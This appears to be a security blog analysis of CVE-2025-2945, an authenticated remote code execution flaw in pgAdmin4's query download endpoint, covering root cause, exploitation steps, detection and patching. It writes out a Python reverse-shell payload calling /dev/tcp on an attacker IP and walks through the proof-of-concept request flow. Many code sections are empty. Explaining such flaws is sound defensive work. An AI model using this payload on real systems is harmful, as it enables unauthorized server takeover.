CVE-2025-2945
CVE-2025-2945: Authenticated Remote Code Execution in pgAdmin4
Executive Summary
CVE-2025-2945 is a critical authenticated Remote Code Execution (RCE) vulnerability affecting pgAdmin4 versions 8.10 through 9.1. This vulnerability allows authenticated users to execute arbitrary Python code on the server hosting pgAdmin4, leading to complete system compromise.
Severity: Critical CVSS Score: 8.8 (High) Attack Complexity: Low Privileges Required: Low (Valid credentials) User Interaction: None
What is pgAdmin4?
pgAdmin4 is the most popular open-source administration and management tool for PostgreSQL databases. It provides a web-based interface for database administrators to:
Execute SQL queries
Manage database objects
Monitor server performance
Import/export data
Given its widespread use in enterprise environments, vulnerabilities in pgAdmin4 can have significant security implications.
Vulnerability Overview
The Flaw
The vulnerability exists in pgAdmin4's Query Tool Download functionality. Specifically, the /sqleditor/query_tool/download/ endpoint improperly handles user input in the query_commited parameter.
Instead of treating this parameter strictly as a SQL query, the application processes it in a way that allows Python code injection and execution on the server.
Affected Versions
Vulnerable: pgAdmin4 versions 8.10 to 9.1
Fixed: pgAdmin4 version 9.2 and later
Prerequisites for Exploitation
Valid credentials: The attacker must have legitimate access to pgAdmin4
Database connection: Access to at least one configured database server
Network access: Ability to reach the pgAdmin4 web interface
Technical Deep Dive
Root Cause Analysis
The vulnerability stems from unsafe handling of user-controlled input in the query download feature. Let's examine the vulnerable code flow:
Normal Flow (Expected Behavior)
Exploit Flow (Actual Behavior)
Why Does This Happen?
The root cause lies in how pgAdmin4 processes the query data:
Unsafe Deserialization: The application deserializes user input without proper validation
Template Injection: User-controlled data flows into a server-side template engine
Lack of Sandboxing: Executed code runs with the same privileges as the pgAdmin4 process
Insufficient Input Validation: No checks to ensure input is strictly SQL
Exploitation Walkthrough
Attack Chain
Here's how an attacker exploits this vulnerability:
Step 1: Authentication
Step 2: Session Initialization
Step 3: Payload Injection
Step 4: Code Execution
Example Exploit
Command:
Payload Breakdown:
__import__('os')- Dynamically imports Python's OS module.system()- Executes system commandsbash -i- Spawns interactive bash shell>& /dev/tcp/IP/PORT- Redirects shell to attacker's listener0>&1- Redirects stdin to stdout
How the PoC Works (Line by Line)
Let me break down the exploit flow:
Step 1: Version Check
Fetches the login page and extracts the pgAdmin4 version from the HTML
Checks if version is between 8.10 and 9.1 (vulnerable range)
Uses regex to parse:
?ver=0910000β version 9.10
Step 2: Authentication
Why? pgAdmin uses CSRF tokens to prevent cross-site attacks
Scrapes the login page to extract the CSRF token from hidden input fields or JavaScript
This token must be included in all subsequent requests
Logs in with the provided credentials (
[email protected])Creates an authenticated session
This is required - the vulnerability is only exploitable by authenticated users
Step 3: Refresh CSRF Token & Set Header
After login, pgAdmin generates a new CSRF token
This token must be sent as a custom header (
X-pgA-CSRFToken) in all API requests
Step 4: Find Valid Server ID
What's happening? pgAdmin manages multiple database servers, each with a unique ID
The exploit needs a valid server ID to interact with
It tries IDs 1-10 until it finds one that returns
status: trueWhy? The Query Tool needs to be associated with a database server
Step 5: Generate Random Transaction ID
trans_id= Transaction ID - uniquely identifies this SQL editor sessiondid= Database ID - identifies which database to connect toThese are randomly generated to avoid conflicts
Step 6: Initialize SQL Editor Session
Critical step! This creates a new Query Tool session
Sends database credentials (
root/PsqLR00tpaSS11)Authenticates to the PostgreSQL database
Without this, the exploit won't work because there's no active session
Step 7: Post to Panel Endpoint
This sets up the UI panel for the Query Tool
May return a 500 error but doesn't affect the exploit
The session is already initialized, so this is just UI setup
Step 8: THE EXPLOIT - Send Malicious Payload
This is where the magic happens!
Normal behavior: The download endpoint expects a SQL query like
SELECT * FROM usersExploit behavior: Instead of SQL, we send Python code
The
query_commitedparameter is unsafely processed by the serverThe server executes:
__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.14.7/4444 0>&1"')
Breaking down the payload:
__import__('os')- Imports Python'sosmodule (allows system commands).system()- Executes shell commandsbash -c "..."- Runs a bash commandbash -i >& /dev/tcp/10.10.14.7/4444 0>&1- Creates a reverse shell:bash -i= Interactive bash shell>&= Redirects stdout and stderr/dev/tcp/10.10.14.7/4444= Connects to your listener0>&1= Redirects stdin
Step 9: Check Response
A 500 error is expected because the Python code executes but doesn't return valid query results
200 response may also indicate success
Check your netcat listener for the reverse shell
Impact Assessment
What Can an Attacker Do?
Once code execution is achieved, an attacker can:
Execute arbitrary commands with pgAdmin4 process privileges
Access sensitive data stored in connected databases
Pivot to other systems in the network
Install backdoors for persistent access
Steal credentials from configuration files
Modify database contents leading to data integrity issues
Launch attacks against other internal systems
Real-World Scenarios
Scenario 1: Data Breach
Scenario 2: Ransomware
Scenario 3: Supply Chain Attack
Detection and Indicators of Compromise
Log Indicators
Look for suspicious patterns in pgAdmin4 logs:
Network Indicators
Monitor for:
Unexpected outbound connections from pgAdmin4 server
Reverse shell traffic (persistent TCP connections to external IPs)
Data exfiltration (large data transfers to unknown destinations)
File System Indicators
Check for:
Modified configuration files (
config_local.py,pgadmin4.db)New user accounts in pgAdmin4 database
Suspicious Python files in pgAdmin4 directory
Web shells in upload directories
Mitigation and Remediation
Immediate Actions
Upgrade pgAdmin4 to version 9.2 or later immediately
Audit access logs for signs of exploitation
Reset all passwords for pgAdmin4 users
Review database logs for unauthorized queries
Isolate compromised systems if exploitation is confirmed
Long-Term Security Measures
1. Network Segmentation
2. Access Controls
Implement Multi-Factor Authentication (MFA)
Use role-based access control (RBAC)
Apply principle of least privilege
Regularly review user permissions
3. Monitoring and Logging
4. Web Application Firewall (WAF)
Deploy WAF rules to block:
5. Runtime Protection
Consider application-level protections:
Input validation libraries
Content Security Policy (CSP) headers
Sandboxing for query execution
Rate limiting on API endpoints
Proof of Concept Code Structure
High-Level Exploit Flow
Key Exploit Components
Session Management:
Transaction Initialization:
Payload Delivery:
Vendor Response and Patch Analysis
Timeline
Discovery Date: Early 2025
Vendor Notification: Responsible disclosure
Patch Release: pgAdmin4 version 9.2
CVE Assignment: CVE-2025-2945
Patch Details
The fix implements multiple security controls:
Input Validation
Sanitization
Sandboxing
Content Type Enforcement
Recommendations for Organizations
For System Administrators
[ ] Update immediately to pgAdmin4 9.2 or later
[ ] Conduct security audit of all pgAdmin4 instances
[ ] Review access logs for past 90 days
[ ] Implement network segmentation for database tools
[ ] Enable comprehensive logging
[ ] Deploy intrusion detection systems (IDS)
For Security Teams
[ ] Perform threat hunting for indicators of compromise
[ ] Update incident response playbooks
[ ] Conduct security awareness training
[ ] Test backup and recovery procedures
[ ] Implement vulnerability scanning for web applications
For Developers
[ ] Never use eval() or exec() on user input
[ ] Implement input validation at multiple layers
[ ] Use parameterized queries for database operations
[ ] Apply principle of least privilege for service accounts
[ ] Conduct regular security code reviews
Testing for Vulnerability
Safe Detection Method
You can check if your instance is vulnerable without exploitation:
Using Nmap
Manual Version Check
Access pgAdmin4 login page
View page source (Ctrl+U)
Search for
ver=parameterCheck against vulnerable range
Conclusion
CVE-2025-2945 represents a critical security vulnerability that demonstrates the ongoing challenges in securing web applications, particularly those with complex functionality like database management tools.
Key Takeaways
Authenticated vulnerabilities are still critical - Don't assume authentication provides sufficient protection
Input validation is paramount - Never trust user input, even from authenticated sources
Defense in depth works - Multiple security layers can prevent exploitation
Prompt patching is essential - Delay increases risk exponentially
The Bigger Picture
This vulnerability highlights several important security principles:
Trust boundaries matter - Even authenticated users can be malicious
Complexity breeds vulnerabilities - Feature-rich applications have larger attack surfaces
Server-side code execution is game over - RCE vulnerabilities are always critical
Security by design - Build security in from the start, not as an afterthought
References and Resources
Official Sources
pgAdmin4 Security Advisory: [pgAdmin Official Site]
CVE Details: CVE-2025-2945
Patch Notes: pgAdmin4 v9.2 Release Notes
Additional Reading
OWASP Top 10 - A03: Injection
CWE-94: Improper Control of Generation of Code
MITRE ATT&CK - T1059: Command and Scripting Interpreter
Tools for Testing
Burp Suite Professional
OWASP ZAP
SQLMap (for related SQL injection testing)
About the Author
This analysis was conducted as part of security research and responsible disclosure practices. The goal is to educate security professionals and system administrators about real-world vulnerabilities and effective mitigation strategies.
Disclaimer: This article is for educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing security vulnerabilities.
Last Updated: November 2025 Version: 1.0
Last updated